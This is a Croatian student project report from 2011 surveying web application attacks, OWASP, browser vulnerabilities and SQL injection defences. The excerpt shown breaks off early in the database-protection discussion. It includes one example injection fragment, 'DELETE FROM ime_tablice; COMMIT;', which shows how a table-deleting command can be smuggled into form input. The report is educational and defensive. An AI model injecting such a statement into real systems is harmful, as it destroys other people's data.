SVEUČILIŠTE U ZAGREBU
FAKULTET ORGANIZACIJE I INFORMATIKE VARAŽDIN
Projektna dokumentacija
SIGURNOST INFORMACIJSKIH SUSTAVA
Tema:
Slabosti web aplikacija:
Pregled modernih metoda kompromitiranja i zaštite sigurnosti weba
Članovi tima:
Tomislav Vladić
Zoran Šaško
Josip Vincek
Miroslav Zver
Tomislav Vedak
Varaždin, siječanj 2011.
Sadržaj
1. Uvod .......................................................................................................................... 1
2. Napadi i ranjivosti web aplikacija ............................................................................. 3
2.1. Aspekti sigurnosti ............................................................................................... 6
2.2. Što je OWASP.................................................................................................... 9
3. Napadi na web aplikacije – internet preglednici ..................................................... 11
3.1. Što je to SQLi ................................................................................................... 14
3.2. Napad SQLi propustom.................................................................................... 17
3.3. Što je to XSS/CRLF ......................................................................................... 22
3.4. Napad iskorištavanjem XSS/CRLF-a............................................................... 27
3.5. Zaštita od XSS/CRLF-a ................................................................................... 31
4. OWASP projekti ..................................................................................................... 33
4.1.OWASP Top 10 ................................................................................................ 33
4.1.1. Način utvrđivanja rizika ............................................................................ 35
4.1.2. OWASP Top 10 Application Security Risks – 2010 ................................ 38
4.1.2.1. Injection - Injekcija ............................................................................. 40
4.1.2.2. Cross-Site Scripting (XSS).................................................................. 42
4.1.2.3. Broken Authentication and Session Management – Loše upravljanje
autentikacijom i sesijama ................................................................................. 44
4.1.2.4. Insecure Direct Object References – Nesigurne direktne reference na
objekte .............................................................................................................. 46
4.1.2.5. Cross-Site Request Forgery (CSRF) ................................................... 48
4.1.2.6. Security Misconfiguration – Kriva konfiguracija sustava sigurnosti .. 50
4.1.2.7. Insecure Cryptographic Storage – Nesigurna kriptografska pohrana . 53
4.1.2.8. Failure to Restrict URL Access – Neuspjelo ograničavanje URL
pristupa ............................................................................................................. 55
4.1.2.9. Insufficient Transport Layer Protection – Nedovoljna zaštita na razini
transportnog sloja ............................................................................................. 57
4.1.2.10. Unvalidated Redirects and Forwards – Neprovjerena preusmjeravanja
i prosljeđivanja ................................................................................................. 59
4.2. OWASP projekti sigurnosti IS-a ...................................................................... 61
4.3. Korištenje alata u svrhu poboljšanja zaštite ..................................................... 70
4.3.1. WebScarab ................................................................................................ 71
I
4.3.2. WebGoat ................................................................................................... 72
4.4. Opći principi napada ........................................................................................ 75
5. Metode provjere i neutraliziranja ............................................................................ 78
5.1.
Damn vulnerable web app ............................................................................ 78
5.1.1.
SQL Injection ........................................................................................ 79
5.1.2.
Cross site scripting ................................................................................ 83
5.1.3.
Command execution.............................................................................. 87
5.1.4.
Cross site request forgery (CSRF) ........................................................ 91
6. DVWA .................................................................................................................... 96
6.1. Metode Damn Vulnerable Web Application (DVWA) aplikacije ................... 97
6.1.1. Brute Force ................................................................................................ 97
6.1.2. Command Execution ................................................................................. 98
6.1.3. Cross Site Request Forgery (CSRF) ......................................................... 98
6.1.4. File inclusion ............................................................................................. 99
6.1.5. XSS ......................................................................................................... 100
6.1.6. Unrestricted File Upload ......................................................................... 101
6.1.7. SQL Injection .......................................................................................... 103
6.1.7.1. Blind SQL Injection .......................................................................... 103
6.1.7.2. Način zaštite od SQLi napada ........................................................... 105
6.2. WebGoat............................................................................................................. 106
6.2.1. Propusti kontrole pristupa (engl. Access Control Flaws)........................ 107
6.2.2. Sigurnost AJAX-a (engl. AJAX Security) .............................................. 108
6.2.3. Autentifikacijski nedostaci (engl. Authentiation Flaws) ......................... 108
6.2.4. Prekoračenje kapaciteta međuspremnika (engl. Buffer Overflow) ......... 109
6.2.5. Kvaliteta programskog kôda (engl. Code Quality) ................................. 109
6.2.6. Konkurentnost (engl. Concurrency) ........................................................ 109
6.2.7. Cross-Site Scripting (XSS) ..................................................................... 109
6.2.8. Denial Of Service (DDOS) ..................................................................... 110
6.2.9. Nepravilno postupanje sa greškama (engl. Improper Error Handling) ... 110
6.2.10. SQLI ...................................................................................................... 111
6.2.11. Nesigurna komunikacija (engl. Insecure Communication) ................... 111
6.2.12. Nesigurna konfiguracija (engl. Insecure Configuration) ...................... 112
6.2.13. Nesigurna pohrana podataka (engl. Insecure Storage) .......................... 112
6.2.14. Izvršavanje malicioznih programa (engl. Malicious Execution) .......... 113
II
6.2.15. Parametar Tampering ............................................................................ 113
6.2.16. Upravljanje sesijama (engl. Session Management Flaws) .................... 114
6.2.17. Web servisi (engl. Web Services) ......................................................... 115
6.2.18. Zaključak o programima DVWA i WebGoat ....................................... 115
6.3 WebGoat SQLi demonstracija ........................................................................ 116
7. Literatura ............................................................................................................... 119
8. Popis priloga.......................................................................................................... 122
8.1. Popis slika ...................................................................................................... 122
8.2. Popis tablica ................................................................................................... 122
III
1. Uvod
Danas je zastupljenost računala sve veća u svim segmentima gdje čovjek može
djelovati na bilo koji način. Računala su postala dio čovjekova života i koristi ga u
rješavanju svakodnevnih problema, te postaje sve popularniji. Osim na ovom
područuju, također velike promjene su vidljive u poslovanju, gdje se nastoji sve
automatizirati i ubrzati cjelokupni proces poslovanja. Takav način poslovanja donosi
mnoge prednosti, ali bismo mogli reći, da postoji i veliki broj nedostataka koji dolaze
zajedno sa prednostima korištenja ovakve tehnologije. Napuštaju se tradicionalni
načini, te se pristupa novim i modernism načinima obavljanja svih aktivnosti koji u
konačnici daju veći stupanj sigurnosti u jednom području, a istovremeno veći stupanj
nesigurnosti ako govorimo o sigurnosti informacija i podataka o korisnicima
aplikacija.
Znamo da vrlo često, korištenje bilo kakvih aplikacija, posebno ako se radi o
aplikacijama na internet, zahtjevaju registracije, te prijave različitog tipa u sustave
kako bi se dobili korisnički podaci za pristup alikaciji. To najčešće podrazumjeva
ostavljanje osobnih podataka, kao što je mail adresa, te drugih osobnih podataka, što
može dovesti do narušavanja sigurnosti korisnika aplikacije. Napredovanjem
tehnologije, pronalaze se mogućnosti narušavanja sigurnosti komunikacijskih kanala,
te narušvanja osobne privatnosti i sigurnosti. Tehnologija svaki dan omogućuje sve
više dobre funkcionalnosti, ali isto tako i predstavlja problem koji je teško
kontrolirati, posebice ako se radi o pristupu udaljenim računalima, gdje postajemo
potencijalne mete osoba koje izvode računalne napade.
U ovom seminaru ćemo se dotaknuti pojma sigurnosti web aplikacija, te najčešćih
slabosti koje u velikoj mjeri utječu, ne samo na sigurnost aplikacije, nego na sigurnost
korisnika aplikacije. Osim toga, vidjet ćemo na koji način korisnici web aplikacija
mogu biti ugroženi, te kako se osigurati da ne dođemo u takve situacije. Prije svega,
bitno je da djelujemo preventivno i učinimo sve mjere zaštite, te poduzmemo korake u
sprječavanju ili barem smanjivanju mogućnosti napada.
Budući da se sve više aktivnosti seli na internet, ovakav način rada najčešće zahtjeva
korištenje baza podataka, velikog broja servera koji poslužuju klijenta, te su oni u
1
velikoj mjeri u stalnoj interakciji. Ova raširenost predstavlja još veći problem, koji
dovodi u teške situacije i same korisnike web usluga, ali i poslužitelje koji nastoje na
sve načine prilagoditi sustave sigurnom načinu rada.
Kako bi se moglo djelovati i učiniti web aplikacije otpornijim na napade izvana,
potrebno je definirati potencijalne kritične točke. Osim njihovog prepoznavanja, bitan
je korak u kojemu pokušavamo pronaći efikasno rješenje. To rješenje je vrlo teško
pronaći, jer se mora obratiti pažnju na nekoliko bitnih elemenata. Prije svega, ne
bismo smjeli smanjiti količinu usluge ili njezinu kvalitetu primjenom određenih mjera
sigurnosti, ali isto tako bismo trebali omogućiti jednostavnost korištenja, kako bi svi
korisnici znali kako trebaju u pojedinim situacijama reagirati.
Kako bismo pokazali što je potrebno poduzeti da bismo povećali sigurnost
informacija i podataka koje šaljemo putem internet, između aplikacija koje
međusobno komuniciraju, prikazat ćemo načine na koji se vrlo često napadaju web
aplikacije, te ćemo dati konkretne primjere kako to spriječiti. To bi na neki način
moglo predstavljati smjernice ili upute u poboljšanju vlastite sigurnosti u slučaju
korištenja infrastrukture interneta kao tehnologije koja omogućuje komunikaciju i
razmjenu podataka.
2
2. Napadi i ranjivosti web aplikacija
Web aplikacije su danas postale mjesto koje daje velike mogućnosti za izvršavanje
kriminalnih radnji. To je mjesto gdje se izmjenjuju velike količine informacija.
Informacije se šalju između različitih korisnika na velikim udaljenostima, te se
obrađuju. Sam taj proces je prilično složen, a u njemu sudjeluje veliki broj server koji
poslužuju informacije, obrađuju ih i u konačnici prosljeđuju drugim korisnicima
sustava i web aplikacija. Postojanje velikog broja tehnologija koje omogućuju pisanje
koda za aplikacije, da mogućnost programerima da naprave kvalitetne aplikacije.
Istovremeno možemo reći da ta činjenica pomaže i programerima zlonamjernih
aplikacija. Analizom ranjivosti sustava i web aplikacija, dolazimo do pojedinih
propusta koje možemo ukloniti i učiniti aplikacije sigurnijim. Svaki dan se nastoje
poboljšati načini komuniciranja između aplikacija, te vidjeti koji problemi u
protokolima komuniciranja, možda na neki način utječu na manju razinu sigurnosti
web aplikacija. Danas je razvijen veliki broj tehnika napada na web aplikacije, pa
ćemo spomenuti samo neke od najčešće korištenih. Sve te tehnike će biti kasnije
opisane, a za neke ćemo dati primjere izvršavanja napada na konkretnim sustavima,
odnosno web aplikacijama.
Neke od najčešće korištenih tehnika napada se odnose na: 1
1. Napadi koji se odnose na autentifikaciju 2
2. Napadi koji se odnose na autorizaciju 3
3. Napadi na klijentskoj strani
4. Napadi izvršavanja naredbi
5. Otkrivanje povjerljivih informacija
6. Logički napadi
Još možemo napomenuti da ovo nisu svi napadi koji su danas mogući nego samo neki
od najčešće korištenih.
1
Najčešće korištene tehnike napada
http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/kozina_mario_seminar.pdf
2
Odnosi se na mjeru zaštite, dokazivanje identiteta korisnika
http://en.wikipedia.org/wiki/AAA_protocol
3
Odnosi se na mjeru zaštite, dokazivanje identiteta korisnika
http://en.wikipedia.org/wiki/AAA_protocol
3
Sam postupak identificiranja ranjivosti sustava dosnosi dodatne probleme. Mnogi
problemi su toliko složeni ili zahtjevaju odlično poznavanje tehnologije i puno
vremena da bi se riješili. Identifikacijom propusta, oni vrlo brzo postaju dostupni
javnosti, a time postoji potencijalna opasnost da neke od do sada nepoznatih ranjivosti
budu iskorištene protiv korisnika sustava ili web aplikacija.
Problem ranjivosti web aplikacija i sustava koji opslužuju web aplikacije su veliki
problem ako se ne uspiju riješiti odmah nakon njihovog otkrivanja ili u vrlo brzom
vremenskom razdoblju nakon toga. Ako se radi o složenim problemima neke
ranjivosti bi se mogle iskoristiti za stvaranje novih koje u tom trenutku nisu uočene,
pa bi problem bio jednak ili možda čak i veći u odnosu na prethodnu situaciju. Zbog
toga je brzo djelovanje jedan od najvažnijih čimbenika u tom procesu.
Prethodno smo spomenuli na što se odnose najčešće korištene tehnike napada. Svaka
ta grupa se odnosi na jednu ili više tehnika napada od kojih ćemo neke detaljnije
opisati. Danas su one poznate po sljedećim imenima:
1. Buffer Overflow4
2. SQL injection5
3. Cross.site scripting6,
te mnoge druge.
U svrhu sigurnosti korisnika web aplikacija, postoje brojne organizacije koje svojim
prijedlozima i smjernicama pokušavaju utjecati na svijest korisnika i tako postići da
korisnici sami djeluju prije nego se dogodi mogućnost da se nađu u nekoj potencijalno
opasnoj situaciji. Neke od tih organizacija su Zavod za sigurnost informacijskih
sustava7 ili Cert8.
4
Buffer Overflow tehnika napada http://en.wikipedia.org/wiki/Buffer_overflow
SQLi tehnika napada http://en.wikipedia.org/wiki/SQL_injection
6
Cross.site scripting tehnika napada http://en.wikipedia.org/wiki/Cross-site_scripting
7
Zavod za sigurnost informacijskih sustava
http://www.zsis.hr/Site/LinkClick.aspx?fileticket=nYHdMp/tUx8%3D&tabid=66&mid=459
8
Cert – organizacija koja se brine o sigurnosnim incidentima http://www.cert.hr/
5
4
Postoje također brojne web stranice na kojima su detalji i ranjivostima često
objavljivani. Neke od web stranica koje objavljuju ranjivosti web aplikacija su
sljedeće9:
Tablica 2.1. Prikaz web stranica za ranjivostima
Naziv stranice
Adresa web stranice
1.
SecurityFocus
http://www.securityfocus.com
2.
milw0rm
http://www.milw0rm.com
3.
Packet Storm
http://packetstormsecurity.org
4.
MITRE Corporation CVE
http://cve.mitre.org
5.
NIST
National
Vulnerability http://nvd.nist.gov
Database
6.
ISS X-Force
http://xforce.iss.net
7.
CERT vulnerability notes
http://www.kb.cert.org/vuls
Slika 2.1. Postotak najčešćih ranjivosti Web aplikacija po klasama
9
Web stranice koje objavljuju ranjivosti web aplikacija
http://os2.zemris.fer.hr/ns/websec/2009_tomic/otkrivanje_ranjivosti.html
5
2.1. Aspekti sigurnosti
Danas govorimo o nekoliko aspekata sigurnosti. To su:
•
Napad na sigurnost – sve akcije koje se mogu definirati kao opasne akcije za
sigurnost informacija i podataka u nekom sustavu.
•
Sigurnosni mehanizam – mehanizam koji se implementira sa ciljem da se
otkriju potencijalne prijetnje i napadi koje treća strana pokušava izvršiti nad
sustavom i informacijama koje on ima.
•
Sigurnosna usluga – mehanizam koji osigurava veću razinu sigurnosti,
povećava sigurnost sustava, informacija koje su potrebne sustavu i podataka
koji su tu zapisani.10
Napadi na sustav mogu biti različitog tipa. Danas se sve više pokušavaju napadati
sustavi koji rade na internetu. Poslovanje se seli na internet, a aplikacije koje
opslužuju sustav na taj način postaju sve ranjivije i sve češće meta različitih napada.
Neki od najčešćih načina napada su presretanje, izmjena podataka ili slanje lažnih
podataka tako da korisnici sustava nisu toga svjesni. To može narušiti sigurnost
sustava i utjecati na kvalitetu poslovanja.
Da bismo mogli na bilo koji način djelovati na prijetnje i uspješno smanjiti intenzitet
realizirane prijetnje ili da bismo uopće mogli donositi određene mjere za smanjenje
rizika i eliminiranje prijetnji sustavu, potrebno je analizirati sustav i definirati što je
sve izloženo rizičnim situacijama i na koji način možemo djelovati kako bismo tu
činjenicu promjenili i određeni dio sustava, ili sustav u cjelini učinili sigurnijim i
otpornijim na prijetnje i ranjivosti koje dolaze sa interneta.
Ovaj postupak se provodi kroz nekoliko koraka. To su najčešće sljedeći koraci:11
•
Identificiranje onih dijelova koje treba zaštititi,
•
Izrada popisa imovine i definiranje određenih mjera
•
Dekompozicija aplikacije
10
Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić, 2007. godina,
Poglavlje 1, 2. stranica
11
Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić, 2007. godina,
Poglavlje 1, 6.-7. stranica
6
•
Identificiranje prijetnji
•
Dokumentiranje prijetni radi daljnje obrade i praćenja kako se takve situacije
ne bi ponavljale
•
Rangiranje prijetnji i procjena prijetnji s ciljem da se veći prioriteti daju onim
elementima koji su najviše ugroženi.
Sada si možemo postaviti pitanje: „Koji je razlog pojavljivanja potrebe za ovakvim
postupcima?“ Prije svega to se odnosi na povjerljivost, raspoloživost i cjelovitost.
Osim spomenutih napada, postoji još nekoliko vrsta napada, pa spominjemo još
nekoliko vrlo raširenih. Svakako vrlo bitno mjesto zauzima Brute force napad koji je
vezan za autentifikaciju korisnika. Zbog nedovoljne razine zaštite ovaj napad
funkcionira metodom pogađanja i promašaja korisničkih lozinki. Na taj način,
napadači ne samo da dolazi do korisničkih podataka za prijavu u sustav, nego
dobivaju i druge bitnije podatke o korisnicima kao što su brojevi kartica te podaci
koje oni čuvaju. Na taj način vrlo jednostavno napadač može doći u situaciju da
promjeni korisničke podatke korisnika i zauvijek ih oduzme korisniku.
U mnogim web aplikacijama, korisnički podaci za pristup su vrlo jednostavni i kratki.
Zbog te činjenice mnogi napadači pokušavaju upravo pogađanjem doći do tih
podataka. Kako bi se to spriječilo bilo bi dobro onemogućiti pristupe uslugama u
vrijeme kada to nije potrebno. I ne samo onemogućiti, nego i dati korisniku priliku da
sam odluči u koje vrijeme će određene usluge biti dostupne. Na taj način samo
korisnik zna kada može pristupiti, a napadačima je onemogućeno pogađanje lozinki i
drugih korisničkih podataka.
I kod ovih napada se može iskoristiti propust vezan za ubacivanje koda. I to se može
iskoristiti i izvršiti napadački kod na strani klijenta u korisničkom web pregledniku.
Napadač ubacuje određeni sadržaj te onemogućuje korisniku da primjeti kako se radi
o nelegitimnom kodu, odnosno napadačkom kodu. On će na kraju nesvjesno izvršiti
taj kod i omogućiti napadaču daljnje napade.
7
Sljedeći bitni propust je vezan za otkrivanje povjerljivih informacija. Često se veže za
rasipanje
informacija,
izlistavanje
mapa
neautoriziranim
korisnicima,
onim
korisnicima koji ne smiju imati pristup tome, u slučajevima kada se koriste prečaci.
Treba spriječiti da aplikacija otkriva programske komentare ili detaljenije poruke
pogreškama koji dovode napadača na bliži put do korisničkih podataka. Treba
predvidjeti što veći broj pogrešaka i na taj način spriječiti ispisivanje pogrešaka koje
ćem otkriti detalje o podacima, bazama podataka, te drugim korisničkim podacima.
Zbog ovakvih propusta napadači mogu doći i do sistemskih ili administratorskih
ovlasti i podataka o njima u sustavu.
Posljednji napad koji ćemo opisati je logički napad12. Vezan je za zlouporabu
funkcionalnosti aplikacije. Temelji se na uskraćivanju pružene usluge. Najčešće se
izvodi kao DDOS napad ili rjeđe DOS napad. Napad je uzrokovan automatiziranim
procesima koji narušavaju kontrolu procesa. Napadač u velikoj mjeri koristi resurse
poslužitelja, te onemogućuje drugim korisnicima korištenje usluga i normalni rad web
aplikacije.
12
Logički napadi http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/kozina_mario_seminar.pdf
8
2.2. Što je OWASP
O OWASP-u13 nećemo puno govoriti u ovom poglavlju, budući da ćemo ga kasnije
detaljnije razraditi i opisati. Za sada je dovoljno samo reći što je to OWASP, što će
biti dovoljno za uvod u vrste napada web aplikacija, te najčešće ranjivosti web
aplikacije koje omogućuju napadačima da dođu do sadržaja koji su povjerljivi, tajni ili
ne smiju biti dostupni svim osobama, odnosno javnosti.
OWASP je skraćenica od naziva Open Web Application Security Project, odnosno
organizacije koja se bavi pronalaženjem i rješavanjem problema vezanih za sigurnost
aplikacija. Rezultat njihovog rada je jedan vrlo poznati dokument nazvan OWASP
Top 10 koji definira pravila i smjernice kako se zaštititi od kritičnih propusta u web
aplikacijama14. Na tom projektu je radio veliki broj stručnjaka iz cijelog svijeta.
Samim prihvaćanjem njihovih preporuka postajemo sve bliži sigurnijem načinu rada u
web aplikacijama.15
Osim samog OWASPA, na ovom području se istaknula još jedna organizacija, a to je
WASC ili Web Application Security Consortium. To je grupa stručnjaka iz cijelog
svijeta i predstavnika drugih orgnizacija koje se bave sigurnošću računalnih
aplikacija, a daju smjernice i upute za najbolju praqksu kako se osigurati od različitih
ranjivosti i napada. Svoje smjernice i upute objavljuju u dokumentima kako bi
korisnici web aplikacija što jednostavnije i brže došli do tih uputa.
Osim samih preporuka o načinu rada i postizanju veće razine sigurnosti, OWASP daje
i preporuke o alatima koje treba koristiti kada testiramo sigurnost aplikacije. Jedan od
alata koji su preporučili je Paros. Napisan je u Javi i omogućuje dohvaćanje i izmjene
na HTTP i HTTPS prometu između poslužitelja i klijenta.
13
OWASP – http://www.owasp.org/index.php/Main_Page
OWASP – http://www.owasp.org/index.php/OWASP_Testing_Project
15
http://www.zemris.fer.hr/~sgros/publications/diploma_thesis/zeman_matija_diplomski.pdf
14
9
U nastavku imamo sliku koja prikazuje deset najčešćih napada na korisnike web
aplikacija. Iz ovoga jasno vidimo koji su napadi najčešće korišteni, te na osnovu tih
informacija se možemo orjentirati na određena područja i uložiti veće napore kako
bismo zaštitili svoj sustav.
Slika 2.2. Deset najčešće korištenih napada na web aplikacije16
Slika prikazuje sljedeće napade:
Cross-site scrinpting, Injection Flaws, Malicious File Execution, Insecure Direct
Object Reference. To su napadi koje se posebno ističu i među deset spomenutih.
16
Deset najčešće korištenih napada na web aplikacije http://www.owasp.org/index.php/Top_10_2007-Methodology
10
3. Napadi na web aplikacije – internet preglednici
Da bismo objasnili napade na web aplikacije, potrebno je prije svega spomenuti
internet preglednike koji omogućuju izvršavanje takvog koda i prikazivanje web
aplikacija na ekranu korisnika. Za početak si možemo postaviti sljedeće pitanje: „Što
su to web aplikacije i što su to internet preglednici?“ Ovi odgovori će nam biti
prilično bitni kada budemo tražili odgovor na pitanje kako spriječiti napada na web
aplikacije i kako učiniti te iste aplikacije sigurnijima i manje ranjivima. Web
aplikacije su programski paketi koji omogućuju korisnicima prezentiranje sadržaja
različitog tipa, korištenje različitih usluga te izvršavanje određenih aktivnosti. Na ovo
pitanje možemo odgovoriti na više načina i postoji veliki broj različitih definicija,
budući da je i samo to područje prilično široko. Drugi dio pitanja se odnosi na internet
preglednike. To je programski paket koji je namjenjen dohvaćanju i prezentaciji web
stranica, odnosno slikovnih datoteka, video zapisa ili neke druge vrste sadržaja koji se
na njoj nalazi. Neki od najpopularnijih i najčešće korištenih internet preglednika su:
Internet Explorer, Mozilla Firefox, Opera, Safari, Google Chrome, te još mnogi
drugi.17
Zbog svoje raširenosti ovi internet preglednici postaju zanimljiviji napadačima i vrlo
pogodni za iskorištavanje ranjivosti kako bi došli do podataka korisnika. I sami
korisnici već svojim ponašanjem i načinom korištenja na neki način pomažu
napadačima i olakšavaju im posao. Iskorištavanjem svih mogućnosti internet
preglednika, kao što su spremanje korisničkih podataka, spremanje povijesti, te razne
dodatne opcije, čine naše preglednike i računala ranjivijim. Ovo još više dolazi do
izražaja ako ne koristimo nikakvu ili koristimo nedovoljno dobru zaštitu. Spomenuta
web aplikacije se uglavnom sastoji od tri glavne komponente. To su skripte, a radi se
o sljedećim komponentama: web poslužitelj šalje stranice korisničkom pregledniku,
aplikacijski poslužitelj obrađuje te podatke, a na kraju se ti podaci spremaju u bazu
podataka.18
17
Najpopulariniji web preglednici – http://security.lss.hr/documents/LinkedDocuments/CCERTPUBDOC-2009-09-276.pdf
18
Komponente web aplikacije – http://security.lss.hr/documents/LinkedDocuments/CCERTPUBDOC-2009-09-276.pdf
11
Tablica 3.1. Usporedba popularnih preglednika u 2009. godini19
2009
Srpanj
Lipanj
Svibanj
Travanj
Ožujak
Veljača
Siječanj
IE7
15,9
18,7
21,3
23,2
24,9
25,4
25,7
IE6
14,4
14,9
14,5
15,4
17,0
17,4
18,5
IE8
9,1
7,1
5,2
3,5
1,4
0,8
0,6
Firefox
47,9
47,3
47,7
47,1
46,5
46,4
45,5
Chrome
6,5
6,0
5,5
4,9
4,2
4,0
3,9
Safari
3,3
3,1
3,0
3,0
3,1
3,0
3,0
Opera
2,1
2,1
2,2
2,2
2,3
2,2
2,3
Tablica 3.1. prikazuje postotak korisnika koji koriste određeni preglednik. Vidimo da
se postotci tijekom godina mijenjaju, ali i da su omjeri približno jednaki tijekom svih
godina. Neki od internet preglednika koji imaju jako puno problema sa ranjivostima,
imaju veliki broj korisnika.
Prednosti internet preglednika Mozilla Firefox
Osim brzine koja se ističe kao vrlo dobra prednost, bitno je istaknuti i brzinu koja se
odnosi na izdavanje sigurnosnih zakrpa za ovaj internet preglednik. Vrlo brzo se
uočavaju sigurnosne prijetnje i razvijaju zakrpe za propuste kako bi korisnici bili
sigurniji. Još neke predosti su brojni dodaci koji se mogu instalirati kao plugin u
internet pregledniku, te stabilnost i dobre performanse preglednika. Svakako najbitniji
dio je integracija s antivirusnim programom, vrlo brzo i efikasno uočavanje phishing
napada, te provjer od zlonamjernih programa. Korisnicima je dana visoka razina
sigurnosti i stalno razvijanje sustava te kontinuirano poboljšanje.
Kao i svaki drugi preglednik i ovaj ima nekoliko nedostataka. Jedan od njih je vezan
za memoriju. Ovaj preglednik zauzima puno memorije kada je pokrenut i zbog toga
ponekad može raditi probleme. Drugi bitan nedostatak je vezan za verziju 3.5. koja
ima propust u nekim od plugina. To su plugin AdBlock Plus i NoScript, nakon čije
instalacije se zapravo omogućuje proizvoljno pokretanje JavaScript koda.
Prednosti internet preglednika Internet Explorer
19
CERT.hr – http://security.lss.hr/documents/LinkedDocuments/CCERT-PUBDOC-2009-09-276.pdf
12
Drugi često korišteni internet preglednik je Internet Explorer. U nastavku spominjemo
prednosti i nedostake vezane za tog preglednika. Od prednosti je bitno istaknuti
brzinu koja se odnosi na obavljanje zadaća, alatnu traku koja u novijim verzijama
nadopunjuju adresu koju korisnik upisuje, te neke dodatke koji se odnose na zaštitu od
različitih vrsta napada. Kao bitne izdvajamo zaštita od napada socijalnim
inženjeringom, te mogućnosti oporavka od rušenja aplikacije, zaštita privatnosti, te
praćenje novosti na web stranicama.
Iako ovaj preglednik ima dosta prednosti koje mogu zadovoljiti potrebe korisnika, tu
su brojni propusti od kojih se većina može svrstati u kategoriju vrlo rizičnih propusta.
To su dereferenciranje osolobođene memorije, neispravno rukovanje tabličnim
operacijama i podacima u priručnoj memoriji. Osim ovih propusta spominju se
propusti vezani za neodgovarajuću analizu predložaka dokumenata te nepravilno
rukovanje pozivima DHTML objekata.20
20
CERT.hr – http://security.lss.hr/documents/LinkedDocuments/CCERT-PUBDOC-2009-09-276.pdf
13
3.1. Što je to SQLi
SQLi napad mogu biti vrlo štetni za sustav, posebno u situacijama kada on ima velike
količine strogo povjerljivih podataka. Ovakvi napadi su vezani za bazu podataka,
odnosno sustave koji u pozadini imaju neku bazu podataka. SQLi napadi se mogu
spriječiti ako na korektan način provjeravamo korisničke unose u forme. Kao primjer
ćemo navesti pokušaj brisanja tablice iz baze podataka. Ako pretpostavimo da od
korisnika zahtjevamo unos određenih podataka, a nema nikakve kontrole podataka,
onda korisnik može to iskoristiti i nakon što unese posljednji podataka, može dodati
kod koji će brisati podatke ili cijele tablice.21
Tako, primjeri dani kod DELETE FROM ime_tablice; COMMIT; može brisati neku
tablicu ako se unese nakon zadnjeg upisanog podataka. To je omogućeno dinamičkim
SQL upitima koji se koriste u aplikaciji. Ako imamo potrebu koristiti takve upite,
onda je u svakom slučaju preporučljivo dodati kontrole unosa podatak u formu, kako
bismo barem jedan dio prijetnji eliminirali.
Primjer.
Ako imamo bazu podataka u kojoj se traži registracija korisnika, možemo
pretpostaviti što korisnik smije upisati i u kojem to obliku treba biti. Za one elemente
koji ne trebaju imati specijalne znakove, to možemo ograničiti i isključiti mogućnost
njihovog unosa. Na taj način smo spriječili da korisnik u tom postupku unosi naredbe
koje će narušiti integritet ili cjelovitost podataka u bazi podataka.22 Ovakvi napadi su
najopasniji ako korisnik već poznaju strukturu baze podataka i zna kako se neke
tablice zovu, ili ako čak zna nazive određenih stupaca u tablici. To je puno opasnije,
jer korisnik na taj način može napasti točno određeni dio u bazi podataka i brisati
nešto za što zna gdje se nalazi. Ako struktura baze podataka nije poznata, napadač ne
zna kako se zovu tablice i vrlo teško će do toga doći i brisati tablice ili mijenjati
njihov sadržaj.
21
Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić, 2007. godina,
Poglavlje 11, 479. stranica
22
Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić, 2007. godina,
Poglavlje 11,480. stranica
14
Aspekti zaštite23
1. Uporaba najnovijih zakrpa za DBMS
2. Ograničavanje pristupa DBMS serveru
3. Korištenje troslojnog modela arhitekture sustava
4. Skrivanje strukture baze podataka
5. Korištenje složenih lozinki
6. Brisanje nepotrebnih objekata
7. Provjera kontrole pristupa
8. Kontrola podataka koje korisnik unosi kao input u sustavu
9. Procjena mogućnosti napada na sustav pomoću ranjivosti
Kada govorimo o zaštiti DBMS-a, bitno je pratiti izdavanje zakrpa za sustav i
redovito ga ažurirati. Proizvođači nastoje izdati zakrpe za uočene ranjivostim, pa
njihovom instalacijom onemogućujemo napadačima da naruše sigurnost sustava.
Neke ranjivosti su toliko složene, da ne postoji neki drugi način zaštite pa je ovaj
postupak dobro izvršavati što je češće moguće. Još jedan korak u pokušaju stvaranja
veće razine sigurnosti je ograničavanje pristupa korisnicima. Ovo se najviše odnosi na
pristup serveru na kojem se nalaze bitni podaci. Ako korisnici ne trebaju pristup
serveru onda im se to ne smije omogućiti. Ako im je ipak pristup potreban, ali nije
potreban pristup cijelom sustavu, onda ga se mora ograničiti na onu razinu koja je
određenom korisniku potrebna.24
Korištenje troslojne arhitekture sustava se odnosi na pravilno modeliranje sustava i
implementiranje na način da se poslovna logika odvaja od ostatka sustava, te da
postoje najmanje tri razine koje će biti međusobno neovisne. Na taj način
jednostavnije možemo kontrolirati sustav, popravljati ga ili nadograđivati po
potrebi.25
23
Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić, 2007. godina,
Poglavlje 11, 489-491. stranica
24
Ograničavanje pristupa serveru DBMS – Sigurnost računarskih sistema i mreža; D.Pleskonjić,
N.Maček, B.Đorđević, M.Carić, 2007. godina, Poglavlje 11, 489. stranica
25
Kada govorimo o troslojnom modelu, treba naglasiti da u smislu projektiranja aplikacije to znači
razdvajanje funkcionalnosti i jednostavnost nadograđivanja sustava, te jednostavna zamjena
komponenti – Sigurnost računarskih sistema i mreža; D.Pleskonjić, N.Maček, B.Đorđević, M.Carić,
2007. godina, Poglavlje 11, 489. stranica
15
Što se tiče skrivanja strukture baze podataka, možemo doći do zaključka da ona
zapravo predstavlja veliki problem za sigurnost sustava. Budući da se vrlo često
koriste dinamički SQL upiti u aplikacijama, poznavanje strukture baze podataka od
strane korisnika, može ugroziti sustav. Korisnik to znanje može iskoristiti kako bi
pomoću naredbi u SQL-u obrisao neke tablice iz baze podataka, pa čak i kako bi
izmjenio podatke u nekim tablicama.26
Korištenje složenih lozinki se odnosi na promjenu lozinki koje su sustavu dodijeljene
nakon instalacije. Te lozinke su uvijek jednake i jednostavne pa ih i početnici mogu
vrlo brzo razbiti. Zbog toga lozinke treba vrlo često mijenjati i koristiti različite
kombinacije znakova, brojeva i specijalnih simbola kako bi ona bila sigurnija i teža za
razbiti. Također, treba korisnicima omogućiti da mijenjaju lozinke ili ih nekim
mehanizmima prisliti da je mijenjaju kako napadači ne bi mogli iskoristiti ranjivosti
korisnika i preko njihovih korisničkih podatka narušili sigurnost baze podatka.27
